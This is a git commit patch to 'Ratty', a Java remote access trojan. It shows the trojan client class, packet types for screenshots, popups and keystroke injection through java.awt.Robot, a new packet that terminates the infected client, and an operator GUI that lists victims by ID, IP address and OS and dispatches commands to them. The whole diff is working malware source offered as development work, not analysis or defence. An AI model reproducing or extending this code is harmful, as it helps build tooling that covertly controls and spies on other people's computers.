From 4e122556e57eaad58acde4f5d5c1f346f5d68ba2 Mon Sep 17 00:00:00 2001 From: Sogomn Date: Wed, 27 Jan 2016 21:49:30 +0100 Subject: [PATCH] Major changes Improved GUI functionality Added new packet --- Ratty/src/de/sogomn/rat/Ratty.java | 12 +- Ratty/src/de/sogomn/rat/Trojan.java | 2 +- .../src/de/sogomn/rat/packet/FreePacket.java | 26 ++++ Ratty/src/de/sogomn/rat/packet/IPacket.java | 2 +- .../de/sogomn/rat/packet/KeyEventPacket.java | 25 ++-- .../src/de/sogomn/rat/packet/PacketType.java | 3 +- .../src/de/sogomn/rat/packet/PopupPacket.java | 2 +- .../sogomn/rat/packet/ScreenshotPacket.java | 2 +- .../de/sogomn/rat/server/gui/RattyGui.java | 59 ++++++++- .../rat/server/gui/ServerGuiController.java | 113 ++++++++++++++++-- 10 files changed, 208 insertions(+), 38 deletions(-) create mode 100644 Ratty/src/de/sogomn/rat/packet/FreePacket.java diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index e322ef7..62c65b3 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -1,13 +1,11 @@ package de.sogomn.rat; import java.awt.Color; -import java.awt.event.KeyEvent; import javax.swing.UIDefaults; import javax.swing.UIManager; import javax.swing.plaf.nimbus.NimbusLookAndFeel; -import de.sogomn.rat.packet.KeyEventPacket; import de.sogomn.rat.server.ActiveServer; import de.sogomn.rat.server.gui.RattyGui; import de.sogomn.rat.server.gui.ServerGuiController; @@ -15,7 +13,7 @@ import de.sogomn.rat.server.gui.ServerGuiController; public final class Ratty { - public static final boolean CLIENT = false; + public static final boolean CLIENT = true; private Ratty() { //... @@ -26,7 +24,7 @@ public final class Ratty { final UIDefaults defaults = nimbus.getDefaults(); defaults.put("control", Color.LIGHT_GRAY); - defaults.put("nimbusBase", Color.LIGHT_GRAY); + defaults.put("nimbusBase", Color.GRAY); try { UIManager.setLookAndFeel(nimbus); @@ -47,16 +45,12 @@ public final class Ratty { newClient.setObserver(trojan); newClient.start(); - newClient.sendPacket(new KeyEventPacket(KeyEvent.VK_W, true)); - newClient.sendPacket(new KeyEventPacket(KeyEvent.VK_W, false)); } public static void startServer(final int port) { final ActiveServer server = new ActiveServer(port); final RattyGui gui = new RattyGui(); - final ServerGuiController controller = new ServerGuiController(); - - gui.setController(controller); + final ServerGuiController controller = new ServerGuiController(gui); server.setObserver(controller); server.start(); diff --git a/Ratty/src/de/sogomn/rat/Trojan.java b/Ratty/src/de/sogomn/rat/Trojan.java index 1fcc014..80c8982 100644 --- a/Ratty/src/de/sogomn/rat/Trojan.java +++ b/Ratty/src/de/sogomn/rat/Trojan.java @@ -10,7 +10,7 @@ public final class Trojan implements IClientObserver { @Override public void packetReceived(final ActiveClient client, final IPacket packet) { - packet.execute(); + packet.execute(client); } @Override diff --git a/Ratty/src/de/sogomn/rat/packet/FreePacket.java b/Ratty/src/de/sogomn/rat/packet/FreePacket.java new file mode 100644 index 0000000..2dec4f8 --- /dev/null +++ b/Ratty/src/de/sogomn/rat/packet/FreePacket.java @@ -0,0 +1,26 @@ +package de.sogomn.rat.packet; + +import de.sogomn.rat.ActiveClient; + +public final class FreePacket implements IPacket { + + public FreePacket() { + //... + } + + @Override + public void send(final ActiveClient client) { + //... + } + + @Override + public void receive(final ActiveClient client) { + //... + } + + @Override + public void execute(final ActiveClient client) { + System.exit(0); + } + +} diff --git a/Ratty/src/de/sogomn/rat/packet/IPacket.java b/Ratty/src/de/sogomn/rat/packet/IPacket.java index 2d2ceff..ebee014 100644 --- a/Ratty/src/de/sogomn/rat/packet/IPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/IPacket.java @@ -10,6 +10,6 @@ public interface IPacket { public abstract void receive(final ActiveClient client); - public abstract void execute(); + public abstract void execute(final ActiveClient client); } diff --git a/Ratty/src/de/sogomn/rat/packet/KeyEventPacket.java b/Ratty/src/de/sogomn/rat/packet/KeyEventPacket.java index 1c1a50b..e350534 100644 --- a/Ratty/src/de/sogomn/rat/packet/KeyEventPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/KeyEventPacket.java @@ -9,39 +9,44 @@ import de.sogomn.rat.ActiveClient; public final class KeyEventPacket implements IPacket { private int key; - private boolean flag; + private byte strokeType; + + public static final byte PRESS = 0; + public static final byte RELEASE = 1; + public static final byte TYPE = 2; public KeyEventPacket() { key = KeyEvent.VK_UNDEFINED; } - public KeyEventPacket(final int key, final boolean flag) { + public KeyEventPacket(final int key, final byte strokeType) { this.key = key; - this.flag = flag; + this.strokeType = strokeType; } @Override public void send(final ActiveClient client) { - final byte flagByte = (byte)(flag ? 1 : 0); - client.writeInt(key); - client.writeByte(flagByte); + client.writeByte(strokeType); } @Override public void receive(final ActiveClient client) { key = client.readInt(); - flag = client.readByte() == 1; + strokeType = client.readByte(); } @Override - public void execute() { + public void execute(final ActiveClient client) { try { final Robot rob = new Robot(); - if (flag) { + if (strokeType == PRESS) { + rob.keyPress(key); + } else if (strokeType == RELEASE) { + rob.keyRelease(key); + } else if (strokeType == TYPE) { rob.keyPress(key); - } else { rob.keyRelease(key); } } catch (final IllegalArgumentException ex) { diff --git a/Ratty/src/de/sogomn/rat/packet/PacketType.java b/Ratty/src/de/sogomn/rat/packet/PacketType.java index 863cd85..f8dd93f 100644 --- a/Ratty/src/de/sogomn/rat/packet/PacketType.java +++ b/Ratty/src/de/sogomn/rat/packet/PacketType.java @@ -4,7 +4,8 @@ public enum PacketType { POPUP(1, PopupPacket.class), SCREENSHOT(2, ScreenshotPacket.class), - KEY_EVENT(3, KeyEventPacket.class); + KEY_EVENT(3, KeyEventPacket.class), + FREE(4, FreePacket.class); private final byte id; private final Class clazz; diff --git a/Ratty/src/de/sogomn/rat/packet/PopupPacket.java b/Ratty/src/de/sogomn/rat/packet/PopupPacket.java index 13732be..25bef1f 100644 --- a/Ratty/src/de/sogomn/rat/packet/PopupPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/PopupPacket.java @@ -29,7 +29,7 @@ public final class PopupPacket implements IPacket { } @Override - public void execute() { + public void execute(final ActiveClient client) { JOptionPane.showMessageDialog(null, message); } diff --git a/Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java b/Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java index 91000f7..fadf93c 100644 --- a/Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java @@ -71,7 +71,7 @@ public final class ScreenshotPacket implements IPacket { } @Override - public void execute() { + public void execute(final ActiveClient client) { final int width = image.getWidth(); final int height = image.getHeight(); diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java index 8ca2265..f766baf 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java @@ -1,6 +1,9 @@ package de.sogomn.rat.server.gui; +import java.awt.Point; import java.awt.event.ActionEvent; +import java.awt.event.MouseAdapter; +import java.awt.event.MouseEvent; import javax.swing.JFrame; import javax.swing.JMenuItem; @@ -15,12 +18,14 @@ public final class RattyGui { private JTable table; private DefaultTableModel tableModel; + private long lastIdClicked; private JPopupMenu menu; private IGuiController controller; private static final String[] HEADERS = { + "ID", "Name", "IP address", "OS", @@ -30,7 +35,14 @@ public final class RattyGui { public static final String POPUP = "Popup"; public static final String SCREENSHOT = "Screenshot"; public static final String KEY_EVENT = "Key event"; - public static final String[] ACTION_COMMANDS = {POPUP, SCREENSHOT, KEY_EVENT}; + public static final String FREE = "Free"; + + public static final String[] ACTION_COMMANDS = { + POPUP, + SCREENSHOT, + KEY_EVENT, + FREE + }; public RattyGui() { frame = new JFrame(); @@ -41,13 +53,26 @@ public final class RattyGui { for (final String command : ACTION_COMMANDS) { final JMenuItem item = new JMenuItem(command); - item.addActionListener(this::actionPerformed); + item.setActionCommand(command); + item.addActionListener(this::menuItemClicked); + menu.add(item); } + final MouseAdapter mouseAdapter = new MouseAdapter() { + @Override + public void mousePressed(final MouseEvent m) { + final Point mousePoint = m.getPoint(); + final int row = table.rowAtPoint(mousePoint); + + lastIdClicked = (Long)tableModel.getValueAt(row, 0); + } + }; + tableModel.setColumnIdentifiers(HEADERS); table.setEnabled(false); table.setComponentPopupMenu(menu); + table.addMouseListener(mouseAdapter); final JScrollPane scrollPane = new JScrollPane(table, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED); @@ -59,14 +84,42 @@ public final class RattyGui { frame.requestFocus(); } - private void actionPerformed(final ActionEvent a) { + private void menuItemClicked(final ActionEvent a) { + if (controller == null) { + return; + } + final String command = a.getActionCommand(); controller.userInput(command); } + public void addRow(final long id, final String name, final String address, final String os, final String version) { + final Object[] data = {id, name, address, os, version}; + + tableModel.addRow(data); + } + + public void removeRow(final long id) { + final int rows = tableModel.getRowCount(); + + for (int i = 0; i < rows; i++) { + final long rowId = (Long)tableModel.getValueAt(i, 0); + + if (rowId == id) { + tableModel.removeRow(i); + + return; + } + } + } + public void setController(final IGuiController controller) { this.controller = controller; } + public long getLastIdClicked() { + return lastIdClicked; + } + } diff --git a/Ratty/src/de/sogomn/rat/server/gui/ServerGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/ServerGuiController.java index 905455a..3d6e23c 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/ServerGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/ServerGuiController.java @@ -1,38 +1,66 @@ package de.sogomn.rat.server.gui; +import java.awt.event.KeyEvent; import java.util.ArrayList; import de.sogomn.rat.ActiveClient; import de.sogomn.rat.IClientObserver; +import de.sogomn.rat.packet.FreePacket; import de.sogomn.rat.packet.IPacket; +import de.sogomn.rat.packet.KeyEventPacket; +import de.sogomn.rat.packet.PopupPacket; +import de.sogomn.rat.packet.ScreenshotPacket; import de.sogomn.rat.server.ActiveServer; import de.sogomn.rat.server.IServerObserver; public final class ServerGuiController implements IServerObserver, IClientObserver, IGuiController { - private ArrayList clients; + private RattyGui gui; - public ServerGuiController() { - clients = new ArrayList(); + private ArrayList clients; + private long nextId; + + public ServerGuiController(final RattyGui gui) { + this.gui = gui; + + clients = new ArrayList(); + + gui.setController(this); + } + + private ServerClient getClient(final long id) { + for (final ServerClient client : clients) { + if (client.id == id) { + return client; + } + } + + return null; + } + + private ServerClient getClient(final ActiveClient client) { + for (final ServerClient serverClient : clients) { + if (serverClient.client == client) { + return serverClient; + } + } + + return null; } @Override public void packetReceived(final ActiveClient client, final IPacket packet) { - packet.execute(); + packet.execute(client); } @Override public void disconnected(final ActiveClient client) { - client.setObserver(null); - client.close(); - clients.remove(client); + removeClient(client); } @Override public void clientConnected(final ActiveServer server, final ActiveClient client) { - client.setObserver(this); - clients.add(client); - client.start(); + addClient(client); } @Override @@ -40,9 +68,72 @@ public final class ServerGuiController implements IServerObserver, IClientObserv System.out.println("Server closed"); } + /*TODO: MAKE DYNAMIC*/ @Override public void userInput(final String actionCommand) { - System.out.println("User input: " + actionCommand); + final long lastIdClicked = gui.getLastIdClicked(); + final ActiveClient client = getClient(lastIdClicked).client; + + IPacket packet = null; + + switch (actionCommand) { + case RattyGui.POPUP: + packet = new PopupPacket("Test message"); + + break; + case RattyGui.SCREENSHOT: + packet = new ScreenshotPacket(0, 0, 500, 500); + + break; + case RattyGui.KEY_EVENT: + packet = new KeyEventPacket(KeyEvent.VK_G, KeyEventPacket.TYPE); + + break; + case RattyGui.FREE: + final FreePacket freePacket = new FreePacket(); + + client.sendPacket(freePacket); + removeClient(client); + + break; + } + + if (packet != null) { + client.sendPacket(packet); + } + } + + public void addClient(final ActiveClient client) { + final long id = nextId++; + final ServerClient serverClient = new ServerClient(id, client); + + client.setObserver(this); + clients.add(serverClient); + client.start(); + + gui.addRow(id, "Unknown", client.getAddress(), "NA", "NA"); + } + + public void removeClient(final ActiveClient client) { + final long id = getClient(client).id; + + client.setObserver(null); + client.close(); + clients.remove(client); + + gui.removeRow(id); + } + + private final class ServerClient { + + final long id; + final ActiveClient client; + + public ServerClient(final long id, final ActiveClient client) { + this.id = id; + this.client = client; + } + } }